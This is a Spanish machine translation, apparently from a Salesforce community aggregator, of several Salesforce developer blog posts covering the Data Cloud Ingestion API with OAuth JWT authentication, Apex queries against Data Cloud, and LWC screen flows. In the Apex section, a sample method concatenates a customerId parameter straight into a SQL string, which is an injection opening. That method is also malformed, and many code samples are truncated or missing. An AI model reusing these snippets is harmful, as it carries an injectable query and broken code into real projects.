} «>

Tenga en cuenta que agregamos un método clearSignature que se invoca cuando se hace clic en el botón Borrar, así como un método saveSignature que se invoca cuando se hace clic en el botón Guardar.

Algo a destacar sobre el componente es que responde completamente a los cambios de tamaño y orientación. También tenga en cuenta que el componente de captura de firmas ha sido diseñado para funcionar en la web, el panel táctil o el lápiz para dispositivos móviles o tabletas.

Además, Signature Capture LWC es compatible con la web y los dispositivos móviles y es la solicitud más común utilizada en la aplicación móvil Salesforce , así como en nuestra aplicación Mobile Test Harness . Eche un vistazo a la demostración a continuación para ver cómo se ejecuta en acción.

Conclusión

Esperamos que haya disfrutado de esta publicación de blog y que esté ansioso por usar las capacidades de captura de firma en su LWC para dispositivos móviles. Para empezar:

  • ¡Buceo en! Consulte nuestro repositorio GitHub de ejemplos móviles de LWC para ver y probar los ejemplos de LWC de las capacidades de captura de firmas en acción. Luego, una vez que esté familiarizado con los flujos…
  • ¡Personalízalo! Tome las muestras de Signature Capture LWC y amplíelas para personalizarlas según las necesidades de su negocio.
  • ¡Alcanzar! Si tiene alguna pregunta, comentario o idea, puede conectarse con nosotros en nuestra comunidad Salesforce Mobile Trailblazer .

Para obtener más información sobre nuestras ofertas móviles, consulte los siguientes enlaces:

Sobre el Autor


Ashwin Nair es un Product Manager en Salesforce que se enfoca en Salesforce Mobile. Actualmente está trabajando en Mobile Platform Experiences y ha estado en el espacio de desarrollo web y móvil durante más de siete años. Síguelo en LinkedIn .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Cargue datos mediante programación con la API de ingesta ☁️

Cargue datos mediante programación con la API de ingesta ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Cargue datos mediante programación con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importación de datos. Estos le permiten conectar otra organización de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programación en Data Cloud. Admite patrones de interacción masiva y de transmisión. El patrón de transmisión usa JSON como su formato, cargando datos en micro lotes a través de la API REST. El patrón masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicación de blog, analizaremos cómo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programación utilizando los patrones Streaming y Bulk.

Cuándo usar la ingestión Streaming vs Bulk

Ingestión de transmisión Ingestión a granel
Al actualizar pequeños microlotes de registros casi en tiempo real Al mover grandes volúmenes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisión modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organización de Data Cloud que desea rellenar con 30, 60 o más de 90 días de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deberá seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicación conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creación y configuración de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creación de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuración de nube de datos y seleccione API de ingesta .

Aquí encontrará todos los conectores disponibles en su organización. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicación de muestra, trabajaremos con una empresa de energía solar ficticia. Estamos interesados en recibir eventos de métricas relacionadas con el rendimiento energético de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qué tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificación OpenAPI. Este archivo de esquema tiene requisitos específicos, así que asegúrese de consultar la documentación para obtener más información.

A continuación se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que será único para cada evento y luego se asignará en Data Cloud como clave principal. Otro es customer_id , que nos será útil para mapear el evento con un cliente de nuestra organización. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que está creado. Sin embargo, aún no está listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este propósito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, también puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos según sea necesario.

Creación e implementación de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexión para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos está activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pestaña en la aplicación Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opción API de ingesta está deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuación, verá los diferentes objetos que están asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deberá seleccionar una categoría o tipo de datos en ese flujo de datos. Hay tres categorías: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacción con el cliente, interacción web, etc.

Cuando se selecciona, el menú desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

– Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electrónico o números de teléfono

– Una lista de empresas o cuentas con ID de cuenta

– Una lista de empleados o cualquier otra población por la que desee segmentar o utilizar como población inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como información de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos están configurados, es hora de implementarlos. Después de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la página de detalles del flujo de datos. Aquí podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organización para crear objetos de modelo de datos (parte del proceso de armonización de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicación de blog, pero tenemos un excelente video con Danielle Larregui que le muestra cómo hacerlo.

Nuestro conector API de ingesta está listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuración de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creación de una aplicación conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicación conectada requiere los siguientes ámbitos:

Ámbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexión Realizar solicitudes en su nombre en cualquier momento

Además, nuestra aplicación conectada requerirá un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando creará dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave pública.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber cómo crear una aplicación conectada, consulte la documentación oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurará el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicación conectada
  • sub: el nombre de usuario de su organización de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de época

reclamos JWT

Nota : La época de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuación, deberá utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Asegúrese de que el mensaje Firma verificada aparezca a continuación, lo que indica que nuestro JWT es válido.

O puede crearlo programáticamente usando el lenguaje de programación de su elección. Más adelante en este artículo, compartiré un práctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=»>

Y luego, inicie sesión y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente información.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=»>

Nota: asegúrese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dará un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicación conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuación, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token»>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticación en dos pasos. Para usarlo, necesitará la clave privada que creó anteriormente, así como un archivo de configuración similar al siguiente.

config.js

Además, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); «>

El método generateAccessToken devolverá el objeto de autenticación de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la información necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisión

Para comenzar a transmitir datos en el conector de Ingestión de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuración del conector de la API de Ingestión. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }»>

Nota : asegúrese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticación.

Si todo va bien, recibirás la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con éxito.

Nota : también puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingestión masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operación que se realizará, que puede ser upsert o delete.
  • Cargar los datos en CSV: Después de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesarán, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparación de los datos: una vez que se cargan los datos, deberá indicar que los datos están listos para ser procesados.
  • Cerrar o cancelar el trabajo: después de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener más información sobre cómo usar los puntos de conexión masivos, puede consultar la documentación oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. Allí, seleccionará el objeto Data Lake correspondiente al conector de ingesta que creó anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colección Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusión

Ahora, está listo para comenzar a cargar datos mediante programación en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Además, si prefiere aprender de un video, mi colega Aditya ha creado un video útil que explica lo que hemos cubierto en esta publicación de blog . Asegúrese de ver también los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores líder certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a través de sus videos, seminarios web, publicaciones de blog y contribuciones de código abierto, y también habla con frecuencia en conferencias y eventos en todo el mundo. Sígalo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Liberando el poder de Apex en Salesforce Data Cloud — Parte 1 ☁️

Liberando el poder de Apex en Salesforce Data Cloud — Parte 1 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Libere el poder de Apex en Salesforce Data Cloud — Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estará fuera de línea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pacífico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podrá iniciar sesión en ninguna aplicación relacionada, incluidas Ayuda y capacitación, AppExchange, Trailhead y Trailblazer Community, y más.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de múltiples sistemas en una única instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para análisis, aprendizaje automático y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientación sobre cómo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario estándar de Data Cloud, o que los ISV construyan su propio código para automatizar operaciones específicas de Data Cloud, como la resolución de identidades, la creación y ejecución de conocimientos calculados de Data Cloud o la segmentación.

Objetos de Salesforce Data Cloud frente a objetos estándar/personalizados

Antes de analizar cómo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y cómo difieren con respecto a los objetos estándar/personalizados de Salesforce Platform.

Salesforce Data Cloud tiene un modelo de datos canónico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de cómo estos objetos se asignan entre sí y sus propósitos en la documentación de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar volúmenes de datos mucho más grandes (en la magnitud de miles de millones de registros) en comparación con los objetos estándar y personalizados regulares en la Plataforma de Salesforce. Los objetos estándar/personalizados están diseñados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinción clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, aún puede lograr la automatización de procesos suscribiéndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es común entre los objetos de la nube de datos y los objetos de la plataforma es que están construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de características de la plataforma, como Salesforce Flow, Apex y Platform Events.

Cómo consultar datos de Data Cloud en Apex

Antes de profundizar en algún código, exploremos un ejemplo de caso de uso de una aplicación de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de código en esta publicación de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar análisis, utilizar técnicas de aprendizaje automático y obtener información procesable de los datos.

El código de Apex en esta publicación asume una condición importante: la nube de datos está habilitada y el código de Apex se ejecuta en la organización de la nube de datos y no en las organizaciones de Salesforce que están conectadas a la organización de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase está disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuación se muestra un fragmento de código de ejemplo que muestra cómo acceder a los datos de un objeto de nube de datos mediante una instrucción SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = » + customerId + » ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } «>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una página Lightning de caso de objeto estándar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del código

  • El método toma un parámetro customerId , lo que indica que recupera los datos del panel solar para un cliente específico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operación de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un límite de CPU de 10 segundos para transacciones sincrónicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, asegúrese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que está trabajando) para limitar la cantidad de filas y evitar alcanzar el límite de CPU de 10 segundos.
  • Si está recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincrónica y aproveche el límite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tamaños de respuesta más grandes para casos de uso en los que necesita extraer grandes volúmenes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • También puede usar SOQL en lugar de SQL, pero asegúrese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

Cómo buscar información de perfil

Antes de analizar cómo buscar información de perfil de Data Cloud en Apex, debemos comprender qué es un perfil unificado.

Perfil unificado y resolución de identidad

Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene información diferente sobre ella, como diferentes direcciones de correo electrónico. Estos datos únicos se denominan puntos de contacto . Los clientes como Martha están representados por múltiples registros de contacto y perfiles específicos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una función de resolución de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentación y activaciones en varios otros sistemas.

Buscar información de perfil de Data Cloud

A continuación se muestra un código Apex de utilidad de ejemplo que busca información de perfil. Tenga en cuenta que se utiliza el método queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } «>

Aquí hay un fragmento de código de ejemplo que invoca el código de utilidad anterior al pasar los parámetros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); «>

El código busca la información de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del código

  • El método utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
  • Los parámetros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de búsqueda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar parámetros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificación para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El método devuelve response.data , que representa los datos recuperados de la consulta

Importante consideración

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el código de Apex, ya que, de lo contrario, el método puede generar excepciones y errores internos del servidor.

¿Cómo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular métricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera información calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de información en Data Cloud: transmisión e información calculada.

Los conocimientos calculados son funciones que pueden calcular métricas en datos históricos. Se procesan en lotes. Por ejemplo, en nuestra aplicación Solar Circles, podemos tener una visión calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La información de transmisión se genera casi en tiempo real mediante el análisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activación inmediata de acciones en los sistemas posteriores. Por ejemplo, la información de transmisión se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia mínima. Al aprovechar una acción de datos en la transmisión de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el método queryCalculatedInsights de la clase CdpQuery . A continuación se muestra un fragmento de código de ejemplo que muestra cómo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del código

  • El método queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar información calculada de Data Cloud.
  • El primer parámetro es el nombre de API de la información calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podría reemplazarse por totalpowergenerated__cio .
  • Los siguientes parámetros especifican dimensiones y medidas. Una dimensión representa un campo o atributo en el que se basa la información, mientras que una medida representa la métrica calculada. Proporcionar null para estos parámetros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificación para el conjunto de resultados, pero en este fragmento de código, se establece en null .
  • Los parámetros opcionales adicionales incluyen filtrar el conjunto de resultados a un ámbito o tipo más específico y especificar la cantidad de elementos que se devolverán y la cantidad de filas que se omitirán antes de devolver los resultados.
  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideración

  • Asegúrese de proporcionar el nombre de API correcto para la información. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusión

En esta publicación de blog, brindamos una descripción general de cómo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de código y los puntos destacados demuestran enfoques prácticos para acceder y consultar datos de objetos de Data Cloud.

La publicación también destaca las mejores prácticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los límites de la CPU, utilizar el procesamiento asincrónico para grandes conjuntos de datos y garantizar la denominación correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar información calculada, crear reglas de resolución de identidad y segmentación en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma de Salesforce. Actualmente se está enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de su Twitter @msrivastav13 .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

Última actualización el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Después de leer este blog, podrá:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representación condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Debería mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnológico'.
  2. Debería presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe diseñarse con la capacidad de incorporarse en la página de registro de rayos de la cuenta.

Enfoque de Campeón de Automatización (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegación (Atrás, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

También usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir código Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del diseño, crear, eliminar o actualizar un registro, etc. Estos son algunos de los métodos clave proporcionados por uiRecordApi :

  1. getRecord : este método le permite obtener datos de registro.
  2. getRecordCreateDefaults : este método proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de diseño de un registro, como qué campos se muestran, cómo se muestran, etc.
  4. createRecord : este método le permite crear un nuevo registro.
  5. deleteRecord – Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuración XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminación se use en una página de registro en Lightning App Builder.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web relámpago para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
